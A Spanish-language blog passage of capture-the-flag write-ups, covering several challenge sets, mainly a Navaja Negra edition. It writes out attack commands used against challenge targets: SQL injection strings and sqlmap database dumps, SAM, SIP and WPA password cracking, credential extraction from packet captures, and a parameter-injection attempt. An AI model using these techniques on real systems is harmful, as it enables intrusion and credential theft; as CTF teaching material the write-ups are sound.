boot.ini	      NTDETECT.COM	      WINDOWS
CONFIG.SYS	      ntldr		      wmpub

Tras montar la unidad, hacemos una copia del fichero SAM y procedemos a intentar extraer las contraseñas de los usuarios:

Primero extraemos el fichero de hashes:
prueba6_sam

Luego lo cargamos en Cain&Abel para proceder a la búsqueda de contraseñas:prueba6_ophcrack

La clave de Administrador no hubo forma de sacarla y, entrando al sistema con los otros 3 usuarios, no había mucho interesante que buscar. Finalmente, la flag para pasar el reto resultó ser la combinación de las 3 contraseñas de usuario.

Posibles combilaciones:

148924307980
148979802430
243014897980
243079801489
798014892430
798024301489

El flag para pasar el reto es: 148924307980


 

PRUEBA 7

prueba7

Nos dice que busquemos un fichero secrets.rar y tras probar varias combinaciones y hacer uso de dirbuster, la cosa fue tan sencilla como poner el nombre en mayúsculas y la extensión en minúsculas: http://desafio.secadmin.es/Prueba7/SECRETS.rar

Al descomprimirlo vemos unos cuantos textos, algunos conocidos:
prueba7_secrets

Tenemos varios ficheros (pdf y docx) donde buscar una flag y, por supuesto, no es cosa de leerlos todos 🙂

Lo primero, intentar localizar los originales en Internet y hacer un diff en busca de alguna diferencia. Todos parecían estar bien menos uno que no conseguí localizarlo por ningún lado: HitsSamurai.docx … así que me centré en ese.

Tras leerlo no encontré nada extraño, así que busqué informacón oculta, en los metadatos.

Primero usé la herramienta de 11paths: https://metashieldanalyzer.elevenpaths.com/ que nos muestra las fechas de creación y modificación así como información de 2 imágenes. Esto me pareció algo raro, dado que en el texto se ven 3 imágenes y no 2.

Creation Date: 12/3/2015 12:53:00 PM
Modification Date: 12/3/2015 3:52:00 PM
Application: Microsoft Office 2007
Application: Adobe Photoshop CS
Application: Adobe Photoshop CS2
Times Edited: 7
Edition Time: 116 Minutes
LastModifiedBy: usuario

Decidí probar con otra herramienta online: http://www.extractmetadata.com/ y aquí tuve una pista:

Mimetype:  	 application/vnd.openxmlformats-officedocument.wordprocessingml.document
Embedded filename:  	 [Content_Types].xml
Embedded filename:  	 _rels/.rels
Embedded filename:  	 word/_rels/document.xml.rels
Embedded filename:  	 word/document.xml
Embedded filename:  	 word/media/image1.jpeg
Embedded filename:  	 word/media/image3.jpeg
Embedded filename:  	 word/theme/theme1.xml
Embedded filename:  	 word/media/image2.jpeg
Embedded filename:  	 word/settings.xml
Embedded filename:  	 word/fontTable.xml
Embedded filename:  	 word/webSettings.xml
Embedded filename:  	 docProps/app.xml
Embedded filename:  	 word/styles.xml
Embedded filename:  	 docProps/core.xml
Embedded filename:  	 word/media/image4.jpeg
Format:  	 ZIP 2.0 (deflation)
Mimetype:  	 application/zip
Embedded filename:  	 [Content_Types].xml
Embedded filename:  	 _rels/.rels
Embedded filename:  	 word/_rels/document.xml.rels
Embedded filename:  	 word/document.xml
Embedded filename:  	 word/media/image1.jpeg
Embedded filename:  	 word/media/image3.jpeg
Embedded filename:  	 word/theme/theme1.xml
Embedded filename:  	 word/media/image2.jpeg
Embedded filename:  	 word/settings.xml
Embedded filename:  	 word/fontTable.xml
Embedded filename:  	 word/webSettings.xml
Embedded filename:  	 docProps/app.xml
Embedded filename:  	 word/styles.xml
Embedded filename:  	 docProps/core.xml
Embedded filename:  	 word/media/image4.jpeg

Nos dice que hay 4 imágenes! y sólo se ven 3 en el texto. Así que el siguiente paso es extraer todo lo que se pueda del fichero. Yo para eso usé binwalk:

$ binwalk -e -M HistSamurai.docx

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 371, uncompressed size: 1364, name: [Content_Types].xml
940           0x3AC           Zip archive data, at least v2.0 to extract, compressed size: 243, uncompressed size: 590, name: _rels/.rels
1744          0x6D0           Zip archive data, at least v2.0 to extract, compressed size: 284, uncompressed size: 1216, name: word/_rels/document.xml.rels
2350          0x92E           Zip archive data, at least v2.0 to extract, compressed size: 6809, uncompressed size: 50573, name: word/document.xml
9206          0x23F6          Zip archive data, at least v1.0 to extract, compressed size: 82149, uncompressed size: 82149, name: word/media/image1.jpeg
91407         0x1650F         Zip archive data, at least v1.0 to extract, compressed size: 202515, uncompressed size: 202515, name: word/media/image3.jpeg
293974        0x47C56         Zip archive data, at least v2.0 to extract, compressed size: 1690, uncompressed size: 6994, name: word/theme/theme1.xml
295715        0x48323         Zip archive data, at least v1.0 to extract, compressed size: 231492, uncompressed size: 231492, name: word/media/image2.jpeg
527259        0x80B9B         Zip archive data, at least v2.0 to extract, compressed size: 777, uncompressed size: 1754, name: word/settings.xml
528083        0x80ED3         Zip archive data, at least v2.0 to extract, compressed size: 472, uncompressed size: 1576, name: word/fontTable.xml
528603        0x810DB         Zip archive data, at least v2.0 to extract, compressed size: 331, uncompressed size: 703, name: word/webSettings.xml
528984        0x81258         Zip archive data, at least v2.0 to extract, compressed size: 492, uncompressed size: 997, name: docProps/app.xml
529786        0x8157A         Zip archive data, at least v2.0 to extract, compressed size: 2297, uncompressed size: 17513, name: word/styles.xml
532128        0x81EA0         Zip archive data, at least v2.0 to extract, compressed size: 375, uncompressed size: 741, name: docProps/core.xml
532814        0x8214E         Zip archive data, at least v2.0 to extract, compressed size: 99117, uncompressed size: 113928, name: word/media/image4.jpeg
632960        0x9A880         End of Zip archive

Podemos ver que se guardan 4 imágenes y, tras revisarlas, sólo 3 coinciden, así que nos centramos en la cuarta: word/media/image4.jpeg

$ file _HistSamurai.docx.extracted/word/media/image4.jpeg 
image4.jpeg: PDF document, version 1.5

Como parece que es un PDF, lo renombremos y lo abrimos. Nos aparece un nuevo texto. Tras echar un vistazo rápido vemos que algunas letras han sido sustituidas por números. Anotamos de forma ordenada esos números y obtenemos la flag.

El flag para pasar el reto es: 1751478315


 

PRUEBA 8

prueba8

Aquí nos encontramos con otro fichero a descargar. En este caso una captura de datos en formato PCAP, con casi 30Mb de basura 🙁

Tras echar una ojeada, dedico extraer los datos con foremost:

$ foremost -v -i captura.pcapng

Vemos muchas imágenes de páginas visitadas, como periódicos y demás. También actualizaciones de windows, etc. Nos centramos en las conexiones HTTP y vemos un par de lugares interenantes. Uno a una web de apuestas (http://www.lotto24.de) y otra a una deportiva (http://www.comunio.es).

Tras crear un filtro en el Wireshark para analizar cada una de las páginas:

lotto24.de: http && ip.addr eq 54.230.60.5
comunio.es: http && ip.addr eq 46.245.181.141

vemos que en la segunda hay algunos POST a una web de login. Nos centramos en esto y vemos:

POST /login.phtml HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Referer: http://www.comunio.es/
Accept-Language: es-ES
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.comunio.es
Content-Length: 58
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=fadkic22j41bim66qkq2ootm50; session_language=es_ES; _pk_id.3.9927=ea0967631790eef5.1449827956.1.1449827956.1449827956.; _pk_ref.3.9927=%5B%22%22%2C%22%22%2C1449827956%2C%22http%3A%2F%2Fwww.google.es%2Furl%3Furl%3Dhttp%3A%2F%2Fwww.comunio.es%2F%26rct%3Dj%26frm%3D1%26q%3D%26esrc%3Ds%26sa%3DU%26ved%3D0ahUKEwjo8ZiBxtPJAhVKBBoKHVH-BLwQFggVMAA%26usg%3DAFQjCNHo4NSJd-AqoQsmIwG5JscFieKTJA%22%5D; _pk_ses.3.9927=*; x1nV; language=es_ES; cX_S=ii1i4qx7xto77mbe; cX_P=ii1i4qx7ynyhovag

login=ctfprueba8&amp;pass=15469&amp;action=login&amp;%3E%3E+Login_x=33


POST /login.phtml HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Referer: http://www.comunio.es/login.phtml
Accept-Language: es-ES
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.comunio.es
Content-Length: 55
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=fadkic22j41bim66qkq2ootm50; session_language=es_ES; _pk_id.3.9927=ea0967631790eef5.1449827956.1.1449828321.1449827956.; _pk_ref.3.9927=%5B%22%22%2C%22%22%2C1449827956%2C%22http%3A%2F%2Fwww.google.es%2Furl%3Furl%3Dhttp%3A%2F%2Fwww.comunio.es%2F%26rct%3Dj%26frm%3D1%26q%3D%26esrc%3Ds%26sa%3DU%26ved%3D0ahUKEwjo8ZiBxtPJAhVKBBoKHVH-BLwQFggVMAA%26usg%3DAFQjCNHo4NSJd-AqoQsmIwG5JscFieKTJA%22%5D; _pk_ses.3.9927=*; x1nV; language=es_ES; cX_S=ii1i4qx7xto77mbe; cX_P=ii1i4qx7ynyhovag

login=ctfP8-2&amp;pass=87563&amp;action=login&amp;%3E%3E+Login_x=33

Probé ambas contraseñas pero no era posible entrar con esas credenciales así que, viendo en el reto de stego y en de la VM con Windows que a los que organizaron el CTF les gusta combinar cosas para obtener la flag, decidí probar ambas contraseñas como flag … y resultó.

El flag para pasar el reto es: 1546987563


 

PRUEBA 9

prueba9

En este reto tenemos otro enlace para descargar un nuevo fichero. En este caso se trata de otra máquina vortaual pero esta vez para VMware y con MS-DOS … qué recuerdos 🙂

Abrimos la máquina y vemos un directorio al que no podemos acceder ya que tiene un nombre que nuestro teclado no nos permite meter. Así que, al igual que en el caso anterior, es cuestión de acceder al disco duro por otros medios.

Lo que hice fue poner el disco como secundario de un Kali Linux. Lo arranque y luego, tras montar la partición de MS-DOS, renombré ese directorio con algo más fácil, como una ‘x’.

Antes de desmontarlo para volver a cargar la VM con MS-DOS, echamos un vistazo al contenido del directorio y vemos un fichero ZIP con contraseña, un par de scripts en BASIC y un juego de la época: Terror Site, de XCOM
prueba9_msdos

Tras probar muchas cosas para intentar sacar la contraseña del ZIP, sin éxito, nos quedaba echar un vistazo al juego.  Desde la propia VM no era posible jugar dado que faltaban los drivers para el ratón, así que lo abrí con un emulador de DOS:

$ dosbox

prueba9_terror
Y a jugar un rato, a ver qué nos encontramos! … y bueno, sólo se podían sacar un par de cosas útiles, el nombre de la partida guardada:

juego9_dosxcom

Y el nombre de la base militar, que era: SanBrdo67231

Tras probar ambas en el ZIP, no eran claves válidas. Así que toca vovler a dar una vuelta a todo lo que tenemos. Y me acordé de los scripts, que debían ser para algo 🙂

Así que abrimos de nuevo la VM y ejecutamos el script des.bas con qbasic, que es el intérprete que trae MS-DOS.

Parece una especia de codificador en el que tras poner una palabra la convierte en mayúsculas e imprime su correspondiente en código morse:

prueba9_clave

Hacemos lo propio con las dos posibles contraseñas que tenemos y, con la de SanBrdo67231 tenemos la contraseña para abrir el ZIP:

....--.-....-.-..---..-.-

Al descomprimir podemos ver varios ficheros:

prueba9_zip

En uno de ellos, masterkey.jpg, vemos una imagen en la parte inferior con un número impreso, que es nuestra flag:

masterkey

El flag para pasar el reto es: 7458245513

 

nn4ed – ctf writeup

navaja negra

 

Resolución de los retos del CTF de Navaja Negra (cuarta edición). Por Pepelux

 

phreak 1

Tras escuchar el audio vemos que la misión es identificar los tonos pulsados en la llamada telefónica. Estos tonos son DTMF y para intentar decodificarlos, lo primero que hacemos es, descargar el fichero de audio y abrirlo con el Audacity (http://audacity.sourceforge.net/) para recortar sólo la parte que nos interesa.

Por tanto, seleccionamos y recortamos la parte de los tonos DTMF y lo guardamos en un nuevo fichero de audio:

audacity

Para decodificar estos tonos podemos utilizar la aplicación de consola Multimon (http://sourceforge.net/projects/multimon/) o bien podemos usar algún servicio online. En mi caso lo cargué en la web: http://dialabc.com/sound/detect/index.html donde nos saca directamente los tonos.

Y el resultado es este:

dtmf

Flag para pasar el reto: 5461765425671065

 

phreak 2

Se trata de una captura de una llamada de VoIP en la que tenemos que obtener el usuario y la contraseña de la cuenta SIP. Para ello vamos a usar los programas SIPDump y SIPCrack (https://sipdump.codeplex.com/) que nos permitirán obtener los usuarios e intentar romper las contraseñas.

Primero con SIPDump obtenemos los usuarios con sus hashes:


$ sudo sipdump -p SipPHK2.pcapng users.txt

SIPdump 0.2 ( MaJoMu | www.codito.de )

---------------------------------------

* Using pcap file 'SipPHK2.pcapng' for sniffing

* Starting to sniff with packet filter 'tcp or udp'

* Dumped login from 77.72.169.129 -> 10.0.61.100 (User: 'nn4ed')

* Exiting, sniffed 1 logins

Tras usar SIPDump vemos en el fichero users.txt que hay un único usuario, y que aparece con su hash:


$ cat users.txt

10.0.61.100"77.72.169.129"nn4ed"sip.12voip.com"REGISTER"sip:sip.12voip.com"720058375""""MD5"3c58ee4488a90ad08d67a24b4c2c9beb

Luego lo crackeamos con SIPCrack y un diccionario:


$ sipcrack -w dic.txt users.txt

SIPcrack 0.2 ( MaJoMu | www.codito.de )

----------------------------------------

* Found Accounts:

Num Server Client User Hash|Password

1 10.0.61.100 77.72.169.129 nn4ed 3c58ee4488a90ad08d67a24b4c2c9beb

* Select which entry to crack (1 - 1): 1

* Generating static MD5 hash... 14ac1cae34f4c3f9b7471887f1a24a8e

* Loaded wordlist: 'dic.txt'

* Starting bruteforce against user 'nn4ed' (MD5: '3c58ee4488a90ad08d67a24b4c2c9beb')

* Tried 4 passwords in 0 seconds

* Found password: 'passw'

* Updating dump file 'sip.dmp'... done

La contraseña encontrada es: passw

Flag para pasar el reto: 3c58ee4488a90ad08d67a24b4c2c9beb:passw

NOTA: A pesar de tener el MD5, que podemos ver directamente desde la captura de paquetes y, usando por ejemplo Wireshark, este no puede crackearse con aplicaciones como John the Ripper dado que el hash no corresponde con la contraseña del usuario sino que, tal y como comento en un post de mi blog (http://blog.pepelux.org/2012/08/11/asterisk-sip-cracking/), ese hash se genera con la combinación de varios factores, por lo que, o creamos un script diseñado para ello o usamos SIPCrack.

Como culturilla, la forma de romper la contraseña es la siguiente (donde response es el hash que hemos obtenido con el SIPDump):


response = md5(A:nonce:B)

-> nonce recordemos que nos lo facilita el servidor tras el primer REGISTER

A = md5(user:realm:pass)

-> user es nuestro usuario, que podemos ver, en claro, en el primer REGISTER
-> realm también nos lo facilita el servidor tras el primer REGISTER
-> pass es la contraseña del usuario que desconocemos

B = md5(REGISTER:uri)

-> REGISTER es esa palabra tal cual
-> uri la podemos ver también en el primer paquete y tiene la forma 'sip:host.com'

stego 1

Nos facilitan una imagen con un supuesto mensaje escondido. Antes de comenzar a probar las diferentes aplicaciones de esteganografía, lo primero que hacemos, tras descargarla, es usar el comando Strings para ver lo que tiene. Y en este caso hemos tenido suerte ya que al final del todo aparece una cadena codificada en Base64:


$ strings STG1.jpg
......
......
:ozy:TXkgc2VjcmV0IGNvZGU6IDFlZjFkODM0NzMzMWFmYjc1YjgyMjgxOWZkNGU2ZDNiIA==

Si decodificamos la cadena vemos: My secret code: 1ef1d8347331afb75b822819fd4e6d3b

Flag para pasar el reto: 1ef1d8347331afb75b822819fd4e6d3b

 

stego 2

En este caso tenemos un fichero de audio, concretamente un MP3.

Tras pasar un buen rato con el Audacity sin sacar nada en claro decidí probar con el Stegspy (http://www.spy-hunter.com/stegspydownload.htm) que es capaz de identificar o reconocer diferentes aplicaciones de esteganografía, identificando la aplicación con la que se ha escondido el mensaje. Stegspy nos dice que hay un mensaje escondido usando Hiderman, de manera que descargamos una versión de pruebas de esta aplicación (http://www.softsea.com/review/Hiderman.html), pero tras ejecutarla nos dice que en ese MP3 no se ha aplicado ningún tipo de esteganografía con Hiderman.

Finalmente y tras varias pruebas, vemos que sale algo recorriendo e imprimiendo bloques del fichero. Para ello he utilizado este script en Python:


import sys
infile = open('super2.mp3','rb')
try:
buff = infile.read()
finally:
infile.close
for y in range(1,1000):
for x in range(0,69):
sys.stdout.write(buff[y*x])
sys.stdout.write(' ')

Ejecutamos el script y buscando entre toda la salida vemos la solución para pasar el reto:


$ python stego2.py | strings | more

python_stego2

Flag para pasar el reto: 53v3n-515t3r5-Messier45

 

web 1

Al entrar en el enlace vemos que aparece un botón en la pantalla que al intentar pulsarlo se mueve. Como no tenemos mucho tiempo para jugar al gato y al ratón, le damos al tabulador y se pone el cursor encima, permitiéndonos clickearlo:

 

web1

La verdad es que es una gran tontería porque viendo el código fuente de la página te evitas esto, pero es ver un botón moviéndose y nos volvemos locos intentando clickearlo 🙂

Bueno, viendo el código fuente de la página tampoco aparece nada nuevo por lo que finalmente decidí descargarla:


$ wget http://ctf.navajanegra.com/

Tras hacer un Cat vemos el buscado password:


$ cat WEB%201.php

..........

Password: 6e3e92ebfcec506d0cc56f24a929ac11

Click Here!

 

Flag para pasar el reto: 6e3e92ebfcec506d0cc56f24a929ac11

 

web 2

Accedemos a una página que nos pide un usuario y una contraseña. Tal y como nos dice el enunciado, tenemos que realizar algún tipo de inyección para pasar el reto.

Tras probar la inyección típica (‘ or ‘a’=’a) vemos que nos sale un mensaje en pantalla diciendo que el usuario root es correcto pero que la contraseña no:

 

web2

Así que usamos SQLMap (http://sqlmap.org/) para extraer los datos, realizando las inyecciones en el segundo parámetro y dejando el usuario=root.

Primero consultamos las bases de datos:


$ ./sqlmap.py -u "http://ctf.navajanegra.com/web2.php?u=root&p=X" --dbs

available databases [2]:

[*] information_schema

[*] users

Luego las tablas para la base de datos ‘users’:


$ ./sqlmap.py -u "http://ctf.navajanegra.com/web2.php?u=root&p=X" --tables -D users

Database: users

[1 table]

+-------+

| users |

+-------+

Después extraemos, por curiosidad, las columnas de la tabla ‘users.users’:


$ ./sqlmap.py -u "http://ctf.navajanegra.com/web2.php?u=root&p=X" --columns -T users -D users

Database: users

Table: users

[2 columns]

+--------+-------------+

| Column | Type |

+--------+-------------+

| user | varchar(10) |

| pass | varchar(20) |

+--------+-------------+

Y finalmente sacamos los datos de esa tabla:


$ ./sqlmap.py -u "http://ctf.navajanegra.com/web2.php?u=root&p=X" --dump -T users -D users

Database: users

Table: users

[1 entry]

+----------------------+--------+

| pass | user |

+----------------------+--------+

| 78a2109f8519940bb553 | root |

+----------------------+--------+

Flag para pasar el reto: 78a2109f8519940bb553

 

crypto 1

El script es muy sencillo de entender; lo que hace es comprobar los últimos 10 caracteres de un hash, por lo que tenemos que encontrar un hash válido que cumpla esto. Es decir, necesitamos averiguar los 22 primeros caracteres de ese hash de MD5. Ahora, la tarea no es tan sencilla, dado que una búsqueda por Internet en bases de datos de hashes no da ningún resultado, ya que está incompleto. Lo mismo ocurre con las Rainbow Tables, ya que no nos permiten realizar listados de hashes ni búsquedas usando máscaras.

Por otro lado, generar todas las combinaciones de hashes que terminen en 8cf8c3dbc1 tampoco es viable porque son 22 caracteres usando el alfabeto abcdef0123456789, lo que supone muchos gigas en hashes y luego comparar cada uno de ellos en las Rainbow Tables.

Lo más sencillo es alterar el script y probar diferentes diccionarios. Pero tras muchas horas no conseguí dar con la contraseña. Como se trata de un trozo de hash, la única forma es esta, probando diccionarios. Y ya que no sale con los wordlist más conocidos y no tengo equipo ni tiempo de CTF para probar por fuerza bruta todas las combinaciones, decidí probar con las palabras que aparecen en la propia web. Tampoco hubo éxito.

Finalmente, usando este wordlist generado con las propias palabras de la web de Navaja Negra, y combinando diferentes reglas de John the Ripper, apareció la solución:

Primero generamos las palabras de la web de navajanegra.com y ctf.navajanegra.com y las unimos en un fichero. Para ello usé la aplicación Cewl (http://digi.ninja/projects/cewl.php):


$ ./cewl.rb -v http://navajanegra.com -w nndic.txt

$ ./cewl.rb -v http://ctf.navajanegra.com -w nndic2.txt

$ cat nndic* | sort | uniq > nndic3.txt

Generamos listas de palabras con diferentes reglas de John the Ripper hasta dar con una que encuentre el resultado (esto al leerlo parece algo sencillo pero fueron 3 días enteros probando y combinando diferentes listas de palabras):


$ ./john --stdout --wordlist=/home/pepelux/tmp/cewl/nndic3.txt --rules:KoreLogicRulesPrependSpecialAppendSpecial > /home/pepelux/tmp/cewl/final.txt

$ ./john --stdout --wordlist=/home/pepelux/tmp/cewl/final.txt --rules:KoreLogicRulesReplaceLettersCaps > /home/pepelux/tmp/cewl/final2.txt

Como obtenemos un fichero demasiado grande, lo dividimos en varios ficheros más pequeños para poder trabajar con él:


$ split -l 100000 final2.txt

A través de un pequeño script, generamos el MD5 de cada palabra del diccionario creado, y vamos comparando esa porción del hash, en busca de coincidencias. Y tras varias horas más:


$ perl md5.pl

….....
-Ozyart- - 1d51147e10df24b73794688cf8c3dbc1

FOUND!

El script que usé es este:


use strict;
use warnings;
use English;
use Digest::MD5 qw(md5 md5_hex md5_base64);

my $dir = '.';

foreach my $fp (glob("$dir/x*")) {
printf "%s\n", $fp;
open my $fh, "<", $fp or die "can't read open '$fp': $OS_ERROR";

while (<$fh>) {
chomp;

printf $_." - ".md5_hex($_)."\n";

if (md5_hex($_) =~ /8cf8c3dbc1$/) {
print "FOUND!\n";
exit;
}
}

close $fh or die "can't read close '$fp': $OS_ERROR";
}

 

Flag para pasar el reto: 1d51147e10df24b73794688cf8c3dbc1

 

crypto 2

Este reto lo puedes resolver en 1 minuto o pegarte con él durante horas. En este caso, si restamos 20h a cada número obtenemos un texto en claro:


53 65 63 72 65 74 20 63 6f 64 65 3a 20 61 33 66
61 38 35 66 37 33 64 35 35 36 35 64 62 35 37 37
30 39 35 64 32 38 33 65 66 37 36 35 31

Que en ASCII es:

Secret code: a3fa85f73d5565db577095d283ef7651

Flag para pasar el reto: a3fa85f73d5565db577095d283ef7651

 

crack 1

Con ayuda del OllyDbg (http://www.ollydbg.de/) y del ImpREC quitamos la protección UPX y reconstruimos los enlaces del binario (hay muchísimos manuales en Internet de cómo hacer esto y es relativamente sencillo). Finalmente obtenemos un nuevo ejecutable limpio, sin ningún packer que ofusque el código.

Abrimos el nuevo fichero con el OllyDbg y analizando un poco la zona caliente del código nos encontramos esto:

 

ollydbg

Probamos como solución:


User: Albacete
Pass: ...N....N

crack2

Flag para pasar el reto: 0047c0baeb5faccc8a71319c72fa6af2

 

crack 2

En este caso tenemos un binario para Linux. Jugamos un poco con él y vemos que nos da dos resultados diferentes:


$ ./crackMe2

Enter you serial number A:aaaa

Enter you serial number B:

Tray Again!

$ ./crackMe2

Enter you serial number A:12121212

Enter you serial number B:12121212

Bad Hacker!

Usando Strings no vemos nada interesante:


$ strings crackMe2
/lib/ld-linux.so.2
n-Z:
libc.so.6
_IO_stdin_used
__isoc99_scanf
puts
printf
__libc_start_main
__gmon_start__
GLIBC_2.7
GLIBC_2.0
PTRh
9D$ |
9D$ |
[^_]
Enter you serial number A:
Enter you serial number B:
Serial number Correct!
Tray Again!
Bad Hacker!
;*2$"(

Si lo abrimos con el IDA y reconstruimos el código en C con Hex-Rays, vemos esto:

 

ida

Como se puede apreciar, se trata de la multiplicación de 2 números que den como resultado 803292082067. El único factor posible para este número es 880543 x 912269. Esto lo podemos obtener en cualquiera de las múltiples páginas en Internet que permiten factorizar números complejos. Por ejemplo esta (http://es.ncalculators.com/number-conversion/prime-factorization-calculadora.htm):

 

factorizar

 


$ ./crackMe2

Enter you serial number A:880543

Enter you serial number B:912269

Serial number Correct!

Flag para pasar el reto: 3310cd38956c9a35abae340d91f42925

 

extra

Al pinchar en la imagen accedemos a una página que no ofrece mucha información, al menos a primera vista:

 

extra_1

Tras dar muchas vueltas y probar como flag varias combinaciones con 007, buscar contraseñas que aparezcan en películas de James Bond, y perder algo de tiempo en Google, al final el truco estaba en meterlo en el User-Agent … esto es una idea feliz de las gordas (no sé qué se había fumado el que hizo este reto, pero que rule!): Agent Number … User Agent … mmmmm

Cambiamos el User-Agent con el TamperData poniendo: 007 y al recargar la página nos aparece otra nueva, con un código QR y un texto:

 

extra_2

El QR, que podemos leer con Zbar (http://zbar.sourceforge.net/) o con nuestra aplicación de móvil favorita, contiene el siguiente mensaje, que tiene toda la pinta de ser un hash: f3807a187fce8cd0d901726ee33331bc

Buscando en Google obtenemos el texto de ese MD5 sin necesidad de usar fuerza bruta, que es: BUDA

La página, además de tener el QR nos decía: Try post the master word on this page!

Tras varias pruebas parece que obtenemos algo metiendo como POST master=BUDA y usando nuevamente como User-Agent 007:


$ curl "user=pepelux; token=xxxxxxxxxx" "http://ctf.navajanegra.com/extra.php" -A 007 -d "master=BUDA"

If you are a <span style="text-decoration: underline;">Guru</span> try <a href="?guru=buda" target="_blank">exploit un program</a> or if you are an Oracle try finish this <a href="game.php?n=13" target="_blank">level</a>!

Ahora nos dice que carguemos por GET la página pasando como parámetro guru=buda

Cargamos http://ctf.navajanegra.com/extra.php?guru=buda con User-Agent 007 y nos aparece un nuevo texto:


Now you need exploit one program!

Download this virtual machine, user:navaja pass:negra

Exploit the program file 'bof1' and recovery the password and send me the md5 of the password!

Descargamos la VM: bof1.ova y la cargamos con VMWare

Entramos con el usuario y contraseña indicado y vemos un binario que, al ejecutarlo nos da una pista:


$ ./bof1
Pista: 0x804874

Para no perder mucho tiempo, bajo el fichero a mi máquina y lo abro con IDA. Buscamos en la dirección que aparece en la pista: 0x804874 y un poco más abajo tenemos la contraseña, que se mostraría en caso de sobrescribir la entrada de datos:

 

ida_extra

Vemos que la contraseña es: GNU/Linux

Flag para pasar el reto: 4a58db979d107ca6300f1be1406b3605

 

brute force 2

Se trata de un fichero IVS donde hay que romper una contraseña de un cifrado WPA.

En este reto también perdí mucho tiempo con diferentes diccionarios hasta que finalmente probé con las propias palabras de la web, generando para ello un diccionario y combinando las palabras obtenidas. Para no liar mucho no voy a poner todas las pruebas realizadas sino sólo la que dio resultado:

Generamos un diccionario con las palabras de la web:


$ ./cewl.rb -v http://navajanegra.com -w nndic.txt

$ ./cewl.rb -v http://ctf.navajanegra.com -w nndic2.txt

$ cat nndic* | sort | uniq > nndic3.txt

Tras pasar el diccionario no se obtuvo ningún resultado así que decidí combinar las palabras de 2 en 2:


$ perl comb.pl > final3.txt

El script:


my $fp = "nndic3.txt";

open my $fh1, "<", $fp or die "can't read open '$fp'";
open my $fh2, "<", $fp or die "can't read open '$fp'";

while (<$fh1>) {
chomp;
my $l = $_;
open my $fh2, "<", $fp or die "can't read open '$fp'";

while (<$fh2>) {
chomp;
printf $l.$_."\n";
}

close $fh2;
}

close $fh1;

Finalmente pasando el Aircrack-ng con esta lista de palabras y, esperando unas cuantas horas más, obtenemos la contraseña:


$ aircrack-ng ../wireless-01.ivs -w final3.txt

 

aircrack-ng

Flag para pasar el reto: f3684b7ad207e768bf5d8fdeef23bd0b

 


 

Conclusiones y agradecimientos

En primer lugar, comentar que aunque al leer el solucionario alguna cosas parecen triviales o sacadas por arte de magia, en algunos casos ha costado muchas horas llegar a esas conclusiones, por ejemplo en el uso y creación de diferentes listas de palabras, ya que como he comentado antes, se han detallado los pasos que han dado un resultado válido, pero no los cientos de pruebas realizadas. Lo comento más que nada para que la gente que es más novata en esto de los CTFs no se desanime. Por ejemplo, para algunas pruebas de fuerza bruta he descargado Rainbow Tables de varios Gb, he generado listas personalizadas con las RainbowCrack, he creado diferentes scripts para combinar y analizar resultados, así como muchos otros caminos que he seguido y que no me han servido de nada.

Por lo general, las pruebas eran bastante sencillas y de no ser por la dureza de los retos de fuerza bruta, se podía terminar en pocas horas. Personalmente creo que un CTF es para pensar cómo resolver desafíos y no para perder horas y horas buscando una contraseña en diferentes listas de palabras. En mi opinión, hubiera estado mejor cambiando las pruebas de fuerza bruta por otros retos con más dificultad pero que se puedan resolver con el intelecto y no con el procesador.

Lo que quiero dar a entender es que puedes tardar en romper un hash 1 día y mientras resolver otras pruebas, pero cuando sólo te quedan 3 retos y los 3 son hashes a romper, con textos incoherentes y de longitud mínima de 8, con caracteres especiales y demás, la cosa se vuelve aburrida ya que dependes de factores como tener un buen equipo o haber sido previsivo y tener grandes listas de palabras en tus discos duros. Durante un reto de 3 o 4 días no puedes bajarte Gigas de datos en diccionarios sólo para eso.

En definitiva, y quitando el mal sabor de boca de las pruebas de fuerza bruta, el CTF ha sido divertido y la gente que jugamos a menudo, sabemos todo el trabajo que hay detrás, por lo que no me queda más que agradecer a toda la organización por haberlo creado, por haber estado en todo momento pendientes del concurso, del Twitter y demás, resolviendo los problemillas que hayan podido surgir, y cómo no, por habernos permitido pasar un buen rato.

Jose Luis Verdeguer aKa Pepelux

 

PlaidCTF – RoboDate write-up

Este es otro reto de los medio-fáciles, pues también valía sólo 100 puntos.


El enunciado decía:


So apparently robots, despite their lack of hormones, still have an underlying desire to mate. We stumbled upon a robot dating site, RoboDate. Hack it for us!


La URL del reto es: http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/ y tras acceder, si editamos el código fuente aparecía:


<!--
    <form action="/59ec1e5173d9cb794f1c29bc333f7327/login.py" method="POST">
        <lable for="username">Username:</label>
        <input id="username" name="username" placeholder="Username">
        <label for="status">Dating status:</label>
        <input id="status" name="status" placeholder="Single">
        <input value="Login" type="submit">
    </form>
-->


Con lo cual, intentamos cargar la página de login pasando como parámetro los campos username y status:


http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/login.py?username=pepe&status=1


Esto nos redirigía a otra página:


http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/frontpage.py?token=13074cdda7654e75690573228d2cf91881f471a2ebc0c16c27250089e088a19c


De nuevo, editando el código fuente veíamos algo así:


<!--
    debug info:

    user_data = pepe|1|user
    key = Only admins can see the key.
-->


Tras varias pruebas intentando crear un tercer parámetro que indicara que somos admin, y de probar diferentes inyecciones, tratamos de inyectar un pipe:


http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/login.py?username=pepe&status=1|admin


Pero el resultado era:


<!--
    debug info:

    user_data = pepe|1\|admin|user
    key = Only admins can see the key.
-->
